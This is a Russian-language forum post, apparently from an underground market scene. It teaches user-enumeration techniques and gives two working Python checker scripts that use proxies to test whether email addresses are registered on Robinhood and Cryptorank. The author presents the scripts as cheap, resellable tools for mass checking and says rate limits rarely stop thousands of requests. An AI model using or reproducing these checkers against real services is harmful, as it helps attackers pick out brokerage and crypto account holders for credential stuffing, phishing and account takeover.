Пятизначная сумма, интересно, да? Хотя, по факту софт, то практически ни о чём, ну проверяет зарегана почта или нет, что такого. А вот рынок, как по мне, поломанный(цены солевые), мы его тоже сегодня чутка подобьем, сделав модули на 2 популярнейших крипто-сайта в юсе.
у меня реально такое мнение по поводу цен на эти софты.
Ну что, давайте прекращать лирику и переходить к делу. Сегодня мы с вами разберем два сервиса - Robinhood и Cryptorank. Оба без капчи, оба без каких-то серьезных защит от перебора, оба отдают факт регистрации по email'у просто так, на блюдечке с голубой каемочкой. На их примере покажу как вообще такие штуки находить, как тыкать, и заодно соберем рабочие модули под это дело. Прежде чем лезть в конкретные сервисы, давайте разберемся что вообще такое User Enumeration и какие формы оно принимает. По сути это любой способ определить, существует ли аккаунт с конкретным email'ом (или логином, телефоном - неважно) на сервисе. OWASP тащит эту уязвимость в своих гайдлайнах уже лет пятнадцать.
Основываясь на времени a.k.a Time Based - а вот это уже интереснее. Тут сервис может отвечать абсолютно одинаково, один и тот же статус, один и тот же текст, один и тот же размер ответа. Но есть нюанс. Если email существует, сервак идет в базу, достает хэш пароля, считает хэш, сравнивает. Это занимает, допустим, 200-300мс. А если email не существует - он сразу отвечает "не, нету", за 5-10мс. И вот ты шлешь тысячу запросов, замеряешь время ответа, строишь распределение, и четко видишь два кластера. Медленные ответы - зарегистрированные, быстрые - нет.
Так вот, наши сегодняшние подопытные не стали заморачиваться ни с чем из вышеперечисленного. Они выбрали самый первый вариант, Direct API, и сделали это с такой щедростью, что хочется пожать им руку и спросить, а вы вообще в курсе что у вас 27 миллионов пользователей?
Логин. Самое очевидное. Вбиваешь email, вбиваешь рандомный пароль, смотришь ответ. Если сервис различает "неверный пароль" и "аккаунт не найден" - поздравляю, у тебя enumeration. Причем смотреть надо не только на текст, но и на статус-коды, на структуру JSON'а, на длину ответа. Бывает что текст одинаковый, а где-нибудь в теле ответа при существующем аккаунте прилетает лишнее поле типа "requires2fa: true" или, аля "account_locked: false". По факту мелочь, по делу, информативно.
Регистрация. Второе по очевидности место. Пытаешься зарегать уже существующий email - сервис говорит "уже занят". Пытаешься зарегать несуществующий - пропускает дальше. Иногда это даже не отдельный запрос, а валидация в реальном времени - вбиваешь email в поле, и сервис на каждый символ шлет запрос на проверку уникальности.
Сброс пароля. Очень многие сервисы на форме "Забыл пароль" отвечают по-разному. "Письмо отправлено" если аккаунт есть, и "Аккаунт не найден" если нет. Или вроде бы отвечают одинаково, но при существующем аккаунте ответ идет 2 секунды (потому что реально шлет письмо), а при несуществующем - мгновенно.
Смена email'а. И вишенка на торте. У многих сервисов есть функция смены email'а в настройках аккаунта. Логика простая - вбиваешь новый email, сервис проверяет не занят ли он, и если занят, то говорит "этот email уже используется". А если нет пропускает дальше. То есть у тебя уже есть один аккаунт, и через него ты можешь проверять любые email'ы на существование, просто "меняя" свою почту раз за разом. Рейтлимит на это обычно никто не ставит, потому что ну кто будет менять email тысячу раз в минуту? Мы будем. И что самое приятное, этот эндпоинт часто забывают при аудите, потому что он спрятан в настройках профиля и выглядит безобидно. (на это скрина не нашлось, пардон)
Robinhood - если вдруг кто-то жил под камнем последние десять лет, это тот самый американский брокер, который в 2013 году сказал "а давайте торговать акциями без комиссий" и перевернул весь рынок вверх дном. Акции, опционы, ETF, крипта, все в одном приложении, все бесплатно. 27 миллионов пользователей, NASDAQ, тикер HOOD, капитализация гуляет в районе 65 миллиардов американских долларов. Лицензированный брокер-дилер, член FINRA и SIPC, люди там держат реальные деньги, реальные портфели. Серьезная контора, короче. Ну, по крайней мере я так думал. Начнем по порядку, в первую очередь, конечно, целимся в Direct API, потому что это надежнее. Заходим на их сайт, и банально пробуем залогиниться
import requests
def check_mail(mail, proxy):
headers = {
'accept': '*/*',
'accept-language': 'en-US,en;q=0.9',
'content-type': 'application/json',
'origin': 'https://robinhood.com',
'referer': 'https://robinhood.com/',
'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-site',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
}
proxies = {'http': proxy, 'https': proxy} if proxy else None
response = requests.put('https://api.robinhood.com/user/', headers=headers, json={'email': mail, 'first_name': 'Name', 'username': '[email protected]'}, proxies=proxies)
if 'email' in response.json():
return 'Valid'
return 'Invalid'
Съели, проглотили, переварили, пошли перепродавать уже паблик (шутки шутим мы тут, или нет...). Долго не думая перейдем ко второму, уже более простому, который я показал на скриншотах. Там совсем уже уровень baby.
import requests
def check_mail(mail, proxy):
headers = {
'accept': '*/*',
'accept-language': 'ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7',
'authorization': 'Bearer null',
'content-type': 'application/json',
'origin': 'https://cryptorank.io',
'referer': 'https://cryptorank.io/',
'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-site',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
}
proxies = {'http': proxy, 'https': proxy} if proxy else None
response = requests.post('https://api.cryptorank.io/v0/auth/password', headers=headers, json={'email': mail, 'password': mail}, proxies=proxies)
if 'Email Not Found' in response.text:
return 'Invalid'
return 'Valid'
Цену за такое чудо на экспе видят в 550$. У меня цели ни в коем случае не поломать рынок (хотя рынок разработки как в белой сфере, так и в серых/черных поломан уже окончательно), или аля чего еще, просто непонятно откуда такие цены на софты, которые делаются за минут 5-10?
не врите, а.
LIMB